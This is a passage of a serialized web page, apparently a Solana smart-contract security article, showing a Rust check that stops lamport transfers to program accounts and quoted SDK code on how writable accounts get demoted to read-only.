programdata_address",{"type":24,"tag":90,"props":75622,"children":75623},{"style":120},[75624],{"type":29,"value":78},{"type":24,"tag":90,"props":75626,"children":75627},{"style":146},[75628],{"type":29,"value":22653},{"type":24,"tag":90,"props":75630,"children":75631},{"style":114},[75632],{"type":29,"value":748},{"type":24,"tag":90,"props":75634,"children":75635},{"class":92,"line":248},[75636],{"type":24,"tag":90,"props":75637,"children":75638},{"style":114},[75639],{"type":29,"value":75640},"},\n",{"type":24,"tag":90,"props":75642,"children":75643},{"class":92,"line":258},[75644,75649],{"type":24,"tag":90,"props":75645,"children":75646},{"style":146},[75647],{"type":29,"value":75648},"ProgramData",{"type":24,"tag":90,"props":75650,"children":75651},{"style":114},[75652],{"type":29,"value":269},{"type":24,"tag":90,"props":75654,"children":75655},{"class":92,"line":272},[75656],{"type":24,"tag":90,"props":75657,"children":75658},{"style":252},[75659],{"type":29,"value":75660}," /// Slot that the program was last modified.\n",{"type":24,"tag":90,"props":75662,"children":75663},{"class":92,"line":281},[75664,75669,75673,75677],{"type":24,"tag":90,"props":75665,"children":75666},{"style":136},[75667],{"type":29,"value":75668}," slot",{"type":24,"tag":90,"props":75670,"children":75671},{"style":120},[75672],{"type":29,"value":78},{"type":24,"tag":90,"props":75674,"children":75675},{"style":146},[75676],{"type":29,"value":376},{"type":24,"tag":90,"props":75678,"children":75679},{"style":114},[75680],{"type":29,"value":748},{"type":24,"tag":90,"props":75682,"children":75683},{"class":92,"line":384},[75684],{"type":24,"tag":90,"props":75685,"children":75686},{"style":252},[75687],{"type":29,"value":75688}," /// Address of the Program's upgrade authority.\n",{"type":24,"tag":90,"props":75690,"children":75691},{"class":92,"line":420},[75692,75697,75701,75705,75709,75713],{"type":24,"tag":90,"props":75693,"children":75694},{"style":136},[75695],{"type":29,"value":75696}," upgrade_authority_address",{"type":24,"tag":90,"props":75698,"children":75699},{"style":120},[75700],{"type":29,"value":78},{"type":24,"tag":90,"props":75702,"children":75703},{"style":146},[75704],{"type":29,"value":29455},{"type":24,"tag":90,"props":75706,"children":75707},{"style":114},[75708],{"type":29,"value":1575},{"type":24,"tag":90,"props":75710,"children":75711},{"style":146},[75712],{"type":29,"value":23194},{"type":24,"tag":90,"props":75714,"children":75715},{"style":114},[75716],{"type":29,"value":8523},{"type":24,"tag":90,"props":75718,"children":75719},{"class":92,"line":428},[75720],{"type":24,"tag":90,"props":75721,"children":75722},{"style":252},[75723],{"type":29,"value":75724}," // The raw program data follows this serialized structure in the\n",{"type":24,"tag":90,"props":75726,"children":75727},{"class":92,"line":437},[75728],{"type":24,"tag":90,"props":75729,"children":75730},{"style":252},[75731],{"type":29,"value":75732}," // account's data.\n",{"type":24,"tag":90,"props":75734,"children":75735},{"class":92,"line":574},[75736],{"type":24,"tag":90,"props":75737,"children":75738},{"style":114},[75739],{"type":29,"value":75640},{"type":24,"tag":25,"props":75741,"children":75742},{},[75743,75745,75752],{"type":29,"value":75744},"Eventually, the executable flag will be removed entirely as proposed in ",{"type":24,"tag":69,"props":75746,"children":75749},{"href":75747,"rel":75748},"https://github.com/solana-foundation/solana-improvement-documents/blob/main/proposals/0162-remove-accounts-executable-flag-checks.md",[73],[75750],{"type":29,"value":75751},"SIMD-0162",{"type":29,"value":75753},". The reasoning is simple: an account's owner and its content are sufficient to determine if it's a valid program — the executable flag is redundant.",{"type":24,"tag":25,"props":75755,"children":75756},{},[75757,75759,75764,75766,75771],{"type":29,"value":75758},"This change is also a ",{"type":24,"tag":7711,"props":75760,"children":75761},{},[75762],{"type":29,"value":75763},"hard requirement for supporting the new loader-v4",{"type":29,"value":75765},". Unlike the upgradable loader, which relies on a separate ",{"type":24,"tag":32,"props":75767,"children":75769},{"className":75768},[],[75770],{"type":29,"value":75648},{"type":29,"value":75772}," proxy account, loader-v4 stores all program data directly in the program account itself.",{"type":24,"tag":25,"props":75774,"children":75775},{},[75776,75778,75785,75787,75792],{"type":29,"value":75777},"As a result, it becomes impossible to modify the account's size after deployment, or to ",{"type":24,"tag":69,"props":75779,"children":75782},{"href":75780,"rel":75781},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/programs/bpf_loader/src/lib.rs#L1411",[73],[75783],{"type":29,"value":75784},"migrate",{"type":29,"value":75786}," from the upgradable loader to loader-v4 — without hitting the ",{"type":24,"tag":32,"props":75788,"children":75790},{"className":75789},[],[75791],{"type":29,"value":75225},{"type":29,"value":75793}," restriction.",{"type":24,"tag":20686,"props":75795,"children":75797},{"id":75796},"fix-2-reject-program-accounts",[75798],{"type":29,"value":75799},"Fix 2: Reject Program Accounts",{"type":24,"tag":25,"props":75801,"children":75802},{},[75803],{"type":29,"value":75804},"To avoid this footgun, let’s explicitly skip any executable account:",{"type":24,"tag":80,"props":75806,"children":75808},{"className":82,"code":75807,"language":84,"meta":7,"style":7},"pub fn can_transfer_lamports(account: &AccountInfo, lamports: u64) -> Result\u003Cbool> {\nfn is_program(account: &AccountInfo) -> bool {\n account.executable\n}\nlet rent = Rent::get()?;\nlet balance_after = account.lamports() + lamports;\nOk(account.is_writable\n && rent.is_exempt(balance_after, account.data_len())\n && !is_program(account))\n}\n",[75809],{"type":24,"tag":32,"props":75810,"children":75811},{"__ignoreMap":7},[75812,75888,75936,75952,75959,75998,76042,76066,76115,76143],{"type":24,"tag":90,"props":75813,"children":75814},{"class":92,"line":93},[75815,75819,75823,75828,75832,75836,75840,75844,75848,75852,75856,75860,75864,75868,75872,75876,75880,75884],{"type":24,"tag":90,"props":75816,"children":75817},{"style":97},[75818],{"type":29,"value":100},{"type":24,"tag":90,"props":75820,"children":75821},{"style":97},[75822],{"type":29,"value":105},{"type":24,"tag":90,"props":75824,"children":75825},{"style":108},[75826],{"type":29,"value":75827}," can_transfer_lamports",{"type":24,"tag":90,"props":75829,"children":75830},{"style":114},[75831],{"type":29,"value":117},{"type":24,"tag":90,"props":75833,"children":75834},{"style":136},[75835],{"type":29,"value":15318},{"type":24,"tag":90,"props":75837,"children":75838},{"style":120},[75839],{"type":29,"value":78},{"type":24,"tag":90,"props":75841,"children":75842},{"style":120},[75843],{"type":29,"value":455},{"type":24,"tag":90,"props":75845,"children":75846},{"style":146},[75847],{"type":29,"value":1434},{"type":24,"tag":90,"props":75849,"children":75850},{"style":114},[75851],{"type":29,"value":133},{"type":24,"tag":90,"props":75853,"children":75854},{"style":136},[75855],{"type":29,"value":2016},{"type":24,"tag":90,"props":75857,"children":75858},{"style":120},[75859],{"type":29,"value":78},{"type":24,"tag":90,"props":75861,"children":75862},{"style":146},[75863],{"type":29,"value":376},{"type":24,"tag":90,"props":75865,"children":75866},{"style":114},[75867],{"type":29,"value":172},{"type":24,"tag":90,"props":75869,"children":75870},{"style":120},[75871],{"type":29,"value":177},{"type":24,"tag":90,"props":75873,"children":75874},{"style":146},[75875],{"type":29,"value":182},{"type":24,"tag":90,"props":75877,"children":75878},{"style":114},[75879],{"type":29,"value":1575},{"type":24,"tag":90,"props":75881,"children":75882},{"style":146},[75883],{"type":29,"value":31497},{"type":24,"tag":90,"props":75885,"children":75886},{"style":114},[75887],{"type":29,"value":197},{"type":24,"tag":90,"props":75889,"children":75890},{"class":92,"line":200},[75891,75895,75900,75904,75908,75912,75916,75920,75924,75928,75932],{"type":24,"tag":90,"props":75892,"children":75893},{"style":97},[75894],{"type":29,"value":22062},{"type":24,"tag":90,"props":75896,"children":75897},{"style":108},[75898],{"type":29,"value":75899}," is_program",{"type":24,"tag":90,"props":75901,"children":75902},{"style":114},[75903],{"type":29,"value":117},{"type":24,"tag":90,"props":75905,"children":75906},{"style":136},[75907],{"type":29,"value":15318},{"type":24,"tag":90,"props":75909,"children":75910},{"style":120},[75911],{"type":29,"value":78},{"type":24,"tag":90,"props":75913,"children":75914},{"style":120},[75915],{"type":29,"value":455},{"type":24,"tag":90,"props":75917,"children":75918},{"style":146},[75919],{"type":29,"value":1434},{"type":24,"tag":90,"props":75921,"children":75922},{"style":114},[75923],{"type":29,"value":172},{"type":24,"tag":90,"props":75925,"children":75926},{"style":120},[75927],{"type":29,"value":177},{"type":24,"tag":90,"props":75929,"children":75930},{"style":146},[75931],{"type":29,"value":167},{"type":24,"tag":90,"props":75933,"children":75934},{"style":114},[75935],{"type":29,"value":269},{"type":24,"tag":90,"props":75937,"children":75938},{"class":92,"line":239},[75939,75943,75947],{"type":24,"tag":90,"props":75940,"children":75941},{"style":136},[75942],{"type":29,"value":26980},{"type":24,"tag":90,"props":75944,"children":75945},{"style":120},[75946],{"type":29,"value":226},{"type":24,"tag":90,"props":75948,"children":75949},{"style":114},[75950],{"type":29,"value":75951},"executable\n",{"type":24,"tag":90,"props":75953,"children":75954},{"class":92,"line":248},[75955],{"type":24,"tag":90,"props":75956,"children":75957},{"style":114},[75958],{"type":29,"value":827},{"type":24,"tag":90,"props":75960,"children":75961},{"class":92,"line":258},[75962,75966,75970,75974,75978,75982,75986,75990,75994],{"type":24,"tag":90,"props":75963,"children":75964},{"style":97},[75965],{"type":29,"value":895},{"type":24,"tag":90,"props":75967,"children":75968},{"style":136},[75969],{"type":29,"value":74719},{"type":24,"tag":90,"props":75971,"children":75972},{"style":120},[75973],{"type":29,"value":216},{"type":24,"tag":90,"props":75975,"children":75976},{"style":146},[75977],{"type":29,"value":45290},{"type":24,"tag":90,"props":75979,"children":75980},{"style":120},[75981],{"type":29,"value":1211},{"type":24,"tag":90,"props":75983,"children":75984},{"style":108},[75985],{"type":29,"value":2862},{"type":24,"tag":90,"props":75987,"children":75988},{"style":114},[75989],{"type":29,"value":314},{"type":24,"tag":90,"props":75991,"children":75992},{"style":120},[75993],{"type":29,"value":714},{"type":24,"tag":90,"props":75995,"children":75996},{"style":114},[75997],{"type":29,"value":381},{"type":24,"tag":90,"props":75999,"children":76000},{"class":92,"line":272},[76001,76005,76010,76014,76018,76022,76026,76030,76034,76038],{"type":24,"tag":90,"props":76002,"children":76003},{"style":97},[76004],{"type":29,"value":895},{"type":24,"tag":90,"props":76006,"children":76007},{"style":136},[76008],{"type":29,"value":76009}," balance_after",{"type":24,"tag":90,"props":76011,"children":76012},{"style":120},[76013],{"type":29,"value":216},{"type":24,"tag":90,"props":76015,"children":76016},{"style":136},[76017],{"type":29,"value":7869},{"type":24,"tag":90,"props":76019,"children":76020},{"style":120},[76021],{"type":29,"value":226},{"type":24,"tag":90,"props":76023,"children":76024},{"style":108},[76025],{"type":29,"value":2016},{"type":24,"tag":90,"props":76027,"children":76028},{"style":114},[76029],{"type":29,"value":495},{"type":24,"tag":90,"props":76031,"children":76032},{"style":120},[76033],{"type":29,"value":6767},{"type":24,"tag":90,"props":76035,"children":76036},{"style":136},[76037],{"type":29,"value":75030},{"type":24,"tag":90,"props":76039,"children":76040},{"style":114},[76041],{"type":29,"value":381},{"type":24,"tag":90,"props":76043,"children":76044},{"class":92,"line":281},[76045,76049,76053,76057,76061],{"type":24,"tag":90,"props":76046,"children":76047},{"style":146},[76048],{"type":29,"value":22285},{"type":24,"tag":90,"props":76050,"children":76051},{"style":114},[76052],{"type":29,"value":117},{"type":24,"tag":90,"props":76054,"children":76055},{"style":136},[76056],{"type":29,"value":15318},{"type":24,"tag":90,"props":76058,"children":76059},{"style":120},[76060],{"type":29,"value":226},{"type":24,"tag":90,"props":76062,"children":76063},{"style":114},[76064],{"type":29,"value":76065},"is_writable\n",{"type":24,"tag":90,"props":76067,"children":76068},{"class":92,"line":384},[76069,76073,76077,76081,76086,76090,76095,76099,76103,76107,76111],{"type":24,"tag":90,"props":76070,"children":76071},{"style":120},[76072],{"type":29,"value":2129},{"type":24,"tag":90,"props":76074,"children":76075},{"style":136},[76076],{"type":29,"value":74719},{"type":24,"tag":90,"props":76078,"children":76079},{"style":120},[76080],{"type":29,"value":226},{"type":24,"tag":90,"props":76082,"children":76083},{"style":108},[76084],{"type":29,"value":76085},"is_exempt",{"type":24,"tag":90,"props":76087,"children":76088},{"style":114},[76089],{"type":29,"value":117},{"type":24,"tag":90,"props":76091,"children":76092},{"style":136},[76093],{"type":29,"value":76094},"balance_after",{"type":24,"tag":90,"props":76096,"children":76097},{"style":114},[76098],{"type":29,"value":133},{"type":24,"tag":90,"props":76100,"children":76101},{"style":136},[76102],{"type":29,"value":15318},{"type":24,"tag":90,"props":76104,"children":76105},{"style":120},[76106],{"type":29,"value":226},{"type":24,"tag":90,"props":76108,"children":76109},{"style":108},[76110],{"type":29,"value":231},{"type":24,"tag":90,"props":76112,"children":76113},{"style":114},[76114],{"type":29,"value":2168},{"type":24,"tag":90,"props":76116,"children":76117},{"class":92,"line":420},[76118,76122,76126,76131,76135,76139],{"type":24,"tag":90,"props":76119,"children":76120},{"style":120},[76121],{"type":29,"value":2129},{"type":24,"tag":90,"props":76123,"children":76124},{"style":120},[76125],{"type":29,"value":2089},{"type":24,"tag":90,"props":76127,"children":76128},{"style":108},[76129],{"type":29,"value":76130},"is_program",{"type":24,"tag":90,"props":76132,"children":76133},{"style":114},[76134],{"type":29,"value":117},{"type":24,"tag":90,"props":76136,"children":76137},{"style":136},[76138],{"type":29,"value":15318},{"type":24,"tag":90,"props":76140,"children":76141},{"style":114},[76142],{"type":29,"value":21507},{"type":24,"tag":90,"props":76144,"children":76145},{"class":92,"line":428},[76146],{"type":24,"tag":90,"props":76147,"children":76148},{"style":114},[76149],{"type":29,"value":827},{"type":24,"tag":25,"props":76151,"children":76152},{},[76153],{"type":29,"value":76154},"Now we’re safe...right?",{"type":24,"tag":1019,"props":76156,"children":76158},{"id":76157},"bug-3-the-write-demotion-trap",[76159],{"type":29,"value":76160},"Bug 3: The Write-Demotion Trap",{"type":24,"tag":25,"props":76162,"children":76163},{},[76164,76166,76171,76173,76178],{"type":29,"value":76165},"On Solana, accounts passed as ",{"type":24,"tag":7711,"props":76167,"children":76168},{},[76169],{"type":29,"value":76170},"writable",{"type":29,"value":76172}," in a transaction can be ",{"type":24,"tag":7711,"props":76174,"children":76175},{},[76176],{"type":29,"value":76177},"silently downgraded to read-only",{"type":29,"value":76179},". This behavior occurs during message sanitization — even before your program runs.",{"type":24,"tag":25,"props":76181,"children":76182},{},[76183,76185,76192],{"type":29,"value":76184},"Let’s walk through the logic for legacy messages (note: the same rules apply to ",{"type":24,"tag":69,"props":76186,"children":76189},{"href":76187,"rel":76188},"https://github.com/anza-xyz/solana-sdk/blob/master/message/src/versions/v0/loaded.rs#L58-L98",[73],[76190],{"type":29,"value":76191},"MessageV0",{"type":29,"value":76193},", but legacy is simpler to follow):",{"type":24,"tag":80,"props":76195,"children":76197},{"className":82,"code":76196,"language":84,"meta":7,"style":7},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\nimpl LegacyMessage\u003C'_> {\n pub fn new(message: legacy::Message, reserved_account_keys: &HashSet\u003CPubkey>) -> Self {\n let is_writable_account_cache = message\n .account_keys\n .iter()\n .enumerate()\n .map(|(i, _key)| {\n message.is_writable_index(i)\n && !reserved_account_keys.contains(&message.account_keys[i])\n && !message.demote_program_id(i)\n })\n .collect::\u003CVec\u003C_>>();\n Self {\n message: Cow::Owned(message),\n is_writable_account_cache,\n }\n }\n}\n\n// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\npub fn demote_program_id(&self, i: usize) -> bool {\n self.is_key_called_as_program(i) && !self.is_upgradeable_loader_present()\n}\n\n",[76198],{"type":24,"tag":32,"props":76199,"children":76200},{"__ignoreMap":7},[76201,76209,76233,76321,76342,76354,76370,76386,76434,76463,76517,76553,76561,76598,76610,76648,76660,76667,76674,76681,76688,76696,76756,76809],{"type":24,"tag":90,"props":76202,"children":76203},{"class":92,"line":93},[76204],{"type":24,"tag":90,"props":76205,"children":76206},{"style":252},[76207],{"type":29,"value":76208},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\n",{"type":24,"tag":90,"props":76210,"children":76211},{"class":92,"line":200},[76212,76216,76221,76225,76229],{"type":24,"tag":90,"props":76213,"children":76214},{"style":97},[76215],{"type":29,"value":30004},{"type":24,"tag":90,"props":76217,"children":76218},{"style":146},[76219],{"type":29,"value":76220}," LegacyMessage",{"type":24,"tag":90,"props":76222,"children":76223},{"style":114},[76224],{"type":29,"value":24719},{"type":24,"tag":90,"props":76226,"children":76227},{"style":146},[76228],{"type":29,"value":5482},{"type":24,"tag":90,"props":76230,"children":76231},{"style":114},[76232],{"type":29,"value":197},{"type":24,"tag":90,"props":76234,"children":76235},{"class":92,"line":239},[76236,76240,76244,76248,76252,76256,76260,76265,76269,76274,76278,76283,76287,76291,76296,76300,76304,76308,76312,76317],{"type":24,"tag":90,"props":76237,"children":76238},{"style":97},[76239],{"type":29,"value":22639},{"type":24,"tag":90,"props":76241,"children":76242},{"style":97},[76243],{"type":29,"value":105},{"type":24,"tag":90,"props":76245,"children":76246},{"style":108},[76247],{"type":29,"value":33746},{"type":24,"tag":90,"props":76249,"children":76250},{"style":114},[76251],{"type":29,"value":117},{"type":24,"tag":90,"props":76253,"children":76254},{"style":136},[76255],{"type":29,"value":69864},{"type":24,"tag":90,"props":76257,"children":76258},{"style":120},[76259],{"type":29,"value":78},{"type":24,"tag":90,"props":76261,"children":76262},{"style":114},[76263],{"type":29,"value":76264}," legacy",{"type":24,"tag":90,"props":76266,"children":76267},{"style":120},[76268],{"type":29,"value":1211},{"type":24,"tag":90,"props":76270,"children":76271},{"style":146},[76272],{"type":29,"value":76273},"Message",{"type":24,"tag":90,"props":76275,"children":76276},{"style":114},[76277],{"type":29,"value":133},{"type":24,"tag":90,"props":76279,"children":76280},{"style":136},[76281],{"type":29,"value":76282},"reserved_account_keys",{"type":24,"tag":90,"props":76284,"children":76285},{"style":120},[76286],{"type":29,"value":78},{"type":24,"tag":90,"props":76288,"children":76289},{"style":120},[76290],{"type":29,"value":455},{"type":24,"tag":90,"props":76292,"children":76293},{"style":146},[76294],{"type":29,"value":76295},"HashSet",{"type":24,"tag":90,"props":76297,"children":76298},{"style":114},[76299],{"type":29,"value":1575},{"type":24,"tag":90,"props":76301,"children":76302},{"style":146},[76303],{"type":29,"value":23194},{"type":24,"tag":90,"props":76305,"children":76306},{"style":114},[76307],{"type":29,"value":22242},{"type":24,"tag":90,"props":76309,"children":76310},{"style":120},[76311],{"type":29,"value":177},{"type":24,"tag":90,"props":76313,"children":76314},{"style":97},[76315],{"type":29,"value":76316}," Self",{"type":24,"tag":90,"props":76318,"children":76319},{"style":114},[76320],{"type":29,"value":269},{"type":24,"tag":90,"props":76322,"children":76323},{"class":92,"line":248},[76324,76328,76333,76337],{"type":24,"tag":90,"props":76325,"children":76326},{"style":97},[76327],{"type":29,"value":287},{"type":24,"tag":90,"props":76329,"children":76330},{"style":136},[76331],{"type":29,"value":76332}," is_writable_account_cache",{"type":24,"tag":90,"props":76334,"children":76335},{"style":120},[76336],{"type":29,"value":216},{"type":24,"tag":90,"props":76338,"children":76339},{"style":136},[76340],{"type":29,"value":76341}," message\n",{"type":24,"tag":90,"props":76343,"children":76344},{"class":92,"line":258},[76345,76349],{"type":24,"tag":90,"props":76346,"children":76347},{"style":120},[76348],{"type":29,"value":5562},{"type":24,"tag":90,"props":76350,"children":76351},{"style":114},[76352],{"type":29,"value":76353},"account_keys\n",{"type":24,"tag":90,"props":76355,"children":76356},{"class":92,"line":272},[76357,76361,76366],{"type":24,"tag":90,"props":76358,"children":76359},{"style":120},[76360],{"type":29,"value":5562},{"type":24,"tag":90,"props":76362,"children":76363},{"style":108},[76364],{"type":29,"value":76365},"iter",{"type":24,"tag":90,"props":76367,"children":76368},{"style":114},[76369],{"type":29,"value":2121},{"type":24,"tag":90,"props":76371,"children":76372},{"class":92,"line":281},[76373,76377,76382],{"type":24,"tag":90,"props":76374,"children":76375},{"style":120},[76376],{"type":29,"value":5562},{"type":24,"tag":90,"props":76378,"children":76379},{"style":108},[76380],{"type":29,"value":76381},"enumerate",{"type":24,"tag":90,"props":76383,"children":76384},{"style":114},[76385],{"type":29,"value":2121},{"type":24,"tag":90,"props":76387,"children":76388},{"class":92,"line":384},[76389,76393,76397,76401,76405,76409,76413,76417,76422,76426,76430],{"type":24,"tag":90,"props":76390,"children":76391},{"style":120},[76392],{"type":29,"value":5562},{"type":24,"tag":90,"props":76394,"children":76395},{"style":108},[76396],{"type":29,"value":68929},{"type":24,"tag":90,"props":76398,"children":76399},{"style":114},[76400],{"type":29,"value":117},{"type":24,"tag":90,"props":76402,"children":76403},{"style":120},[76404],{"type":29,"value":12784},{"type":24,"tag":90,"props":76406,"children":76407},{"style":114},[76408],{"type":29,"value":117},{"type":24,"tag":90,"props":76410,"children":76411},{"style":136},[76412],{"type":29,"value":6123},{"type":24,"tag":90,"props":76414,"children":76415},{"style":114},[76416],{"type":29,"value":133},{"type":24,"tag":90,"props":76418,"children":76419},{"style":136},[76420],{"type":29,"value":76421},"_key",{"type":24,"tag":90,"props":76423,"children":76424},{"style":114},[76425],{"type":29,"value":517},{"type":24,"tag":90,"props":76427,"children":76428},{"style":120},[76429],{"type":29,"value":12784},{"type":24,"tag":90,"props":76431,"children":76432},{"style":114},[76433],{"type":29,"value":269},{"type":24,"tag":90,"props":76435,"children":76436},{"class":92,"line":420},[76437,76442,76446,76451,76455,76459],{"type":24,"tag":90,"props":76438,"children":76439},{"style":136},[76440],{"type":29,"value":76441}," message",{"type":24,"tag":90,"props":76443,"children":76444},{"style":120},[76445],{"type":29,"value":226},{"type":24,"tag":90,"props":76447,"children":76448},{"style":108},[76449],{"type":29,"value":76450},"is_writable_index",{"type":24,"tag":90,"props":76452,"children":76453},{"style":114},[76454],{"type":29,"value":117},{"type":24,"tag":90,"props":76456,"children":76457},{"style":136},[76458],{"type":29,"value":6123},{"type":24,"tag":90,"props":76460,"children":76461},{"style":114},[76462],{"type":29,"value":1686},{"type":24,"tag":90,"props":76464,"children":76465},{"class":92,"line":428},[76466,76471,76475,76479,76483,76488,76492,76496,76500,76504,76509,76513],{"type":24,"tag":90,"props":76467,"children":76468},{"style":120},[76469],{"type":29,"value":76470}," &&",{"type":24,"tag":90,"props":76472,"children":76473},{"style":120},[76474],{"type":29,"value":2089},{"type":24,"tag":90,"props":76476,"children":76477},{"style":136},[76478],{"type":29,"value":76282},{"type":24,"tag":90,"props":76480,"children":76481},{"style":120},[76482],{"type":29,"value":226},{"type":24,"tag":90,"props":76484,"children":76485},{"style":108},[76486],{"type":29,"value":76487},"contains",{"type":24,"tag":90,"props":76489,"children":76490},{"style":114},[76491],{"type":29,"value":117},{"type":24,"tag":90,"props":76493,"children":76494},{"style":120},[76495],{"type":29,"value":123},{"type":24,"tag":90,"props":76497,"children":76498},{"style":136},[76499],{"type":29,"value":69864},{"type":24,"tag":90,"props":76501,"children":76502},{"style":120},[76503],{"type":29,"value":226},{"type":24,"tag":90,"props":76505,"children":76506},{"style":114},[76507],{"type":29,"value":76508},"account_keys[",{"type":24,"tag":90,"props":76510,"children":76511},{"style":136},[76512],{"type":29,"value":6123},{"type":24,"tag":90,"props":76514,"children":76515},{"style":114},[76516],{"type":29,"value":57265},{"type":24,"tag":90,"props":76518,"children":76519},{"class":92,"line":437},[76520,76524,76528,76532,76536,76541,76545,76549],{"type":24,"tag":90,"props":76521,"children":76522},{"style":120},[76523],{"type":29,"value":76470},{"type":24,"tag":90,"props":76525,"children":76526},{"style":120},[76527],{"type":29,"value":2089},{"type":24,"tag":90,"props":76529,"children":76530},{"style":136},[76531],{"type":29,"value":69864},{"type":24,"tag":90,"props":76533,"children":76534},{"style":120},[76535],{"type":29,"value":226},{"type":24,"tag":90,"props":76537,"children":76538},{"style":108},[76539],{"type":29,"value":76540},"demote_program_id",{"type":24,"tag":90,"props":76542,"children":76543},{"style":114},[76544],{"type":29,"value":117},{"type":24,"tag":90,"props":76546,"children":76547},{"style":136},[76548],{"type":29,"value":6123},{"type":24,"tag":90,"props":76550,"children":76551},{"style":114},[76552],{"type":29,"value":1686},{"type":24,"tag":90,"props":76554,"children":76555},{"class":92,"line":574},[76556],{"type":24,"tag":90,"props":76557,"children":76558},{"style":114},[76559],{"type":29,"value":76560}," })\n",{"type":24,"tag":90,"props":76562,"children":76563},{"class":92,"line":606},[76564,76568,76573,76577,76581,76585,76589,76593],{"type":24,"tag":90,"props":76565,"children":76566},{"style":120},[76567],{"type":29,"value":5562},{"type":24,"tag":90,"props":76569,"children":76570},{"style":108},[76571],{"type":29,"value":76572},"collect",{"type":24,"tag":90,"props":76574,"children":76575},{"style":120},[76576],{"type":29,"value":1211},{"type":24,"tag":90,"props":76578,"children":76579},{"style":114},[76580],{"type":29,"value":1575},{"type":24,"tag":90,"props":76582,"children":76583},{"style":146},[76584],{"type":29,"value":3732},{"type":24,"tag":90,"props":76586,"children":76587},{"style":114},[76588],{"type":29,"value":1575},{"type":24,"tag":90,"props":76590,"children":76591},{"style":136},[76592],{"type":29,"value":5482},{"type":24,"tag":90,"props":76594,"children":76595},{"style":114},[76596],{"type":29,"value":76597},">>();\n",{"type":24,"tag":90,"props":76599,"children":76600},{"class":92,"line":615},[76601,76606],{"type":24,"tag":90,"props":76602,"children":76603},{"style":97},[76604],{"type":29,"value":76605}," Self",{"type":24,"tag":90,"props":76607,"children":76608},{"style":114},[76609],{"type":29,"value":269},{"type":24,"tag":90,"props":76611,"children":76612},{"class":92,"line":623},[76613,76618,76622,76627,76631,76636,76640,76644],{"type":24,"tag":90,"props":76614,"children":76615},{"style":136},[76616],{"type":29,"value":76617}," message",{"type":24,"tag":90,"props":76619,"children":76620},{"style":120},[76621],{"type":29,"value":78},{"type":24,"tag":90,"props":76623,"children":76624},{"style":146},[76625],{"type":29,"value":76626}," Cow",{"type":24,"tag":90,"props":76628,"children":76629},{"style":120},[76630],{"type":29,"value":1211},{"type":24,"tag":90,"props":76632,"children":76633},{"style":108},[76634],{"type":29,"value":76635},"Owned",{"type":24,"tag":90,"props":76637,"children":76638},{"style":114},[76639],{"type":29,"value":117},{"type":24,"tag":90,"props":76641,"children":76642},{"style":136},[76643],{"type":29,"value":69864},{"type":24,"tag":90,"props":76645,"children":76646},{"style":114},[76647],{"type":29,"value":779},{"type":24,"tag":90,"props":76649,"children":76650},{"class":92,"line":632},[76651,76656],{"type":24,"tag":90,"props":76652,"children":76653},{"style":136},[76654],{"type":29,"value":76655}," is_writable_account_cache",{"type":24,"tag":90,"props":76657,"children":76658},{"style":114},[76659],{"type":29,"value":748},{"type":24,"tag":90,"props":76661,"children":76662},{"class":92,"line":669},[76663],{"type":24,"tag":90,"props":76664,"children":76665},{"style":114},[76666],{"type":29,"value":5740},{"type":24,"tag":90,"props":76668,"children":76669},{"class":92,"line":683},[76670],{"type":24,"tag":90,"props":76671,"children":76672},{"style":114},[76673],{"type":29,"value":612},{"type":24,"tag":90,"props":76675,"children":76676},{"class":92,"line":737},[76677],{"type":24,"tag":90,"props":76678,"children":76679},{"style":114},[76680],{"type":29,"value":827},{"type":24,"tag":90,"props":76682,"children":76683},{"class":92,"line":751},[76684],{"type":24,"tag":90,"props":76685,"children":76686},{"emptyLinePlaceholder":16},[76687],{"type":29,"value":245},{"type":24,"tag":90,"props":76689,"children":76690},{"class":92,"line":782},[76691],{"type":24,"tag":90,"props":76692,"children":76693},{"style":252},[76694],{"type":29,"value":76695},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\n",{"type":24,"tag":90,"props":76697,"children":76698},{"class":92,"line":791},[76699,76703,76707,76712,76716,76720,76724,76728,76732,76736,76740,76744,76748,76752],{"type":24,"tag":90,"props":76700,"children":76701},{"style":97},[76702],{"type":29,"value":100},{"type":24,"tag":90,"props":76704,"children":76705},{"style":97},[76706],{"type":29,"value":105},{"type":24,"tag":90,"props":76708,"children":76709},{"style":108},[76710],{"type":29,"value":76711}," demote_program_id",{"type":24,"tag":90,"props":76713,"children":76714},{"style":114},[76715],{"type":29,"value":117},{"type":24,"tag":90,"props":76717,"children":76718},{"style":120},[76719],{"type":29,"value":123},{"type":24,"tag":90,"props":76721,"children":76722},{"style":97},[76723],{"type":29,"value":128},{"type":24,"tag":90,"props":76725,"children":76726},{"style":114},[76727],{"type":29,"value":133},{"type":24,"tag":90,"props":76729,"children":76730},{"style":136},[76731],{"type":29,"value":6123},{"type":24,"tag":90,"props":76733,"children":76734},{"style":120},[76735],{"type":29,"value":78},{"type":24,"tag":90,"props":76737,"children":76738},{"style":146},[76739],{"type":29,"value":149},{"type":24,"tag":90,"props":76741,"children":76742},{"style":114},[76743],{"type":29,"value":172},{"type":24,"tag":90,"props":76745,"children":76746},{"style":120},[76747],{"type":29,"value":177},{"type":24,"tag":90,"props":76749,"children":76750},{"style":146},[76751],{"type":29,"value":167},{"type":24,"tag":90,"props":76753,"children":76754},{"style":114},[76755],{"type":29,"value":269},{"type":24,"tag":90,"props":76757,"children":76758},{"class":92,"line":799},[76759,76763,76767,76772,76776,76780,76784,76788,76792,76796,76800,76805],{"type":24,"tag":90,"props":76760,"children":76761},{"style":97},[76762],{"type":29,"value":22582},{"type":24,"tag":90,"props":76764,"children":76765},{"style":120},[76766],{"type":29,"value":226},{"type":24,"tag":90,"props":76768,"children":76769},{"style":108},[76770],{"type":29,"value":76771},"is_key_called_as_program",{"type":24,"tag":90,"props":76773,"children":76774},{"style":114},[76775],{"type":29,"value":117},{"type":24,"tag":90,"props":76777,"children":76778},{"style":136},[76779],{"type":29,"value":6123},{"type":24,"tag":90,"props":76781,"children":76782},{"style":114},[76783],{"type":29,"value":172},{"type":24,"tag":90,"props":76785,"children":76786},{"style":120},[76787],{"type":29,"value":75025},{"type":24,"tag":90,"props":76789,"children":76790},{"style":120},[76791],{"type":29,"value":2089},{"type":24,"tag":90,"props":76793,"children":76794},{"style":97},[76795],{"type":29,"value":128}